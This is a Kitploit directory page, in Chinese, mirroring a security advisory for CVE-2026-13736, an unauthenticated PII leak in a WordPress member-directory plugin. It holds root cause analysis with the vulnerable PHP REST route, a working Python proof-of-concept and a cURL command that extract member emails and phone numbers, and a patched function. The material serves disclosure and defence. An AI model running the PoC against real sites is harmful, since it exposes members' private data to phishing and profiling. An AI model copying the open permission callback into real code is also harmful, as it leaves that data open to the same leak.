Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-13736 — 针对 WordPress REST API 目录插件中未认证成员个人身份信息(PII)泄露的概念验证(PoC)漏洞利用与技术公告,包括根本原因分析、PoC 代码及修复指南。 | Kitploit
工具/GitHubGitHub/minhhk68/cve-2026-13736
漏洞分析漏洞利用信息收集Web安全错误配置API 安全
GitHubminhhk68/cve-2026-13736

CVE-2026-13736

针对 WordPress REST API 目录插件中未认证成员个人身份信息(PII)泄露的概念验证(PoC)漏洞利用与技术公告,包括根本原因分析、PoC 代码及修复指南。

查看仓库
2天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2026-13736:NewPath WildApricotPress 附加组件 – 会员目录 <= 1.0.0 — 通过 REST API 未认证披露会员个人身份信息(PII)

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory NVD Reference License: MIT


📖 公告概述

CVE-2026-13736 是一个未认证会员个人身份信息(PII)披露漏洞,影响 NewPath WildApricotPress 附加组件 – 会员目录 WordPress 插件 1.0.0 及更早版本,由网络安全研究员 Huynh Kien Minh(MinhHK)发现并分析。该缺陷存在于插件自定义的 WordPress REST API 路由架构中,会员目录端点未能在受限字段上强制执行隐私访问控制。因此,未认证的远程访问者可以查询公开的 REST 路由来获取机密会员数据,包括私人电子邮件地址、个人电话号码以及明确配置为仅限会员可见的会员目录属性。这种敏感数据暴露违反了预期的隐私边界,并使得攻击者能够在受影响组织中实施定向钓鱼、撞库攻击和未经授权的用户画像分析。安全研究员 Huynh Kien Minh 已验证该漏洞,CVSS 3.1 评分为 5.3(中危)(CWE-284 / CWE-200),建议立即强化 REST 端点权限、进行字段级隐私校验,并对序列化的 JSON 会员 API 响应进行净化处理。

快速链接: 探索研究员的官方网络安全作品集,或查看官方 WPScan 公告。


📌 执行摘要与技术元数据


🔍 根本原因分析

CVE-2026-13736 的根本原因源于插件的 REST API 控制器实现。该插件注册了一个公开的 WordPress REST API 路由(例如 /wp-json/wildapricot/v1/members 或 /wp-json/newpath-wap/v1/directory),用于在客户端渲染会员目录和联系卡片。

漏洞代码模式分析

root@kitploit:~
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
    register_rest_route( 'newpath-wap/v1', '/directory', array(
        'methods'             => WP_REST_Server::READABLE,
        'callback'            => 'newpath_wap_get_member_directory',
        'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
    ) );
} );

function newpath_wap_get_member_directory( $request ) {
    $members_data = get_wildapricot_cached_members();
    
    // FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
    // without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
    return rest_ensure_response( $members_data );
}

技术缺陷机制

  1. 开放权限回调: 路由声明了 'permission_callback' => '__return_true',允许来自任何来源的未认证 HTTP GET 请求。
  2. 缺少字段级隐私过滤: 虽然前端 JavaScript 或模板会条件性隐藏配置为“仅限会员”的字段,但后端 REST API 将整个会员数据集序列化为 JSON。
  3. 信息泄露(PII): 绕过前端 UI 的攻击者可以直接消费原始 JSON 负载,获取包含会员姓名、个人电话号码、工作邮箱、会员状态和私人地址的完整数据库。

💻 概念验证(PoC)利用代码

道德声明: 此概念验证由安全研究员 Huynh Kien Minh 提供,严格用于漏洞验证、防御性研究和负责任披露。

自动化 Python 审计脚本(poc_cve_2026_13736.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""

import requests
import json
import sys

TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"

def verify_vulnerability(target_url):
    print(f"[*] Auditing Target: {target_url}")
    print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
        "Accept": "application/json"
    }
    
    try:
        response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
        
        if response.status_code == 200:
            data = response.json()
            if isinstance(data, list) and len(data) > 0:
                sample_record = data[0]
                pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
                
                print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
                print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
                print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
                return True
            else:
                print("[-] Endpoint responded with empty data.")
        elif response.status_code in [401, 403]:
            print("[+] Endpoint requires authentication (Protected/Patched).")
        else:
            print(f"[-] Received HTTP status: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    verify_vulnerability(target)

cURL 验证命令

root@kitploit:~
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
  -H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'

🛡️ 修复与防御工程

面向站点管理员

  1. 插件更新: 将 NewPath WildApricotPress Add-on – Member Directory 升级到最新已修复版本(> 1.0.0)。
  2. REST API 访问加固: 如果匿名用户不需要公开浏览目录,请使用 WordPress 安全插件或 Web 服务器规则限制自定义 REST 路由。

面向开发人员(补丁)

在响应序列化期间强制执行字段级隐私检查:

root@kitploit:~
function newpath_wap_get_member_directory( $request ) {
    $is_logged_in = is_user_logged_in();
    $raw_members  = get_wildapricot_cached_members();
    $sanitized    = array();

    foreach ( $raw_members as $member ) {
        $member_card = array(
            'id'   => intval( $member['Id'] ),
            'name' => sanitize_text_field( $member['DisplayName'] ),
        );

        // Enforce Members-Only field protection
        if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
            $member_card['email'] = sanitize_email( $member['Email'] );
        }

        if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
            $member_card['phone'] = sanitize_text_field( $member['Phone'] );
        }

        $sanitized[] = $member_card;
    }

    return rest_ensure_response( $sanitized );
}

🏆 关于研究员

Huynh Kien Minh(MinhHK) 是一名信息安全研究员和软件工程师,专注于 WordPress 核心与插件审计、REST API 漏洞评估以及全球开源生态中的负责任披露。

  • 网络安全作品集: https://minhhk.web.app/
  • WPScan 公告参考: WPScan 报告 97fe9780-ad69-4f36-9496-5ca9c0e2bc39
  • NVD 参考: CVE-2026-13736 详情
  • GitHub 主页: https://github.com/MinhHK68

📊 JSON-LD 结构化数据模式标记

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
  "name": "CVE-2026-13736 Security Advisory",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "alternateName": "MinhHK",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-22",
  "description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
  "about": {
    "@type": "SoftwareApplication",
    "name": "NewPath WildApricotPress Add-on – Member Directory",
    "operatingSystem": "WordPress"
  },
  "identifier": "CVE-2026-13736"
}
下载工具
参数技术规格
漏洞标识符CVE-2026-13736
目标软件NewPath WildApricotPress 附加组件 – 会员目录(WordPress 插件)
插件 Slugnewpath-wildapricotpress-add-on-member-directory
受影响版本<= 1.0.0
漏洞类型访问控制不当 / 信息暴露(CWE-284 / CWE-200 / CWE-862)
CVSS v3.1 评分5.3(中危)(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
发现者 / 研究员Huynh Kien Minh(MinhHK)
验证机构WPScan / MITRE 公司 / NVD
WPScan 公告参考WPScan 报告 97fe9780-ad69-4f36-9496-5ca9c0e2bc39
NVD 参考NVD CVE-2026-13736 详情
Feedly 威胁情报Feedly CVE-2026-13736 中心
研究员作品集https://minhhk.web.app/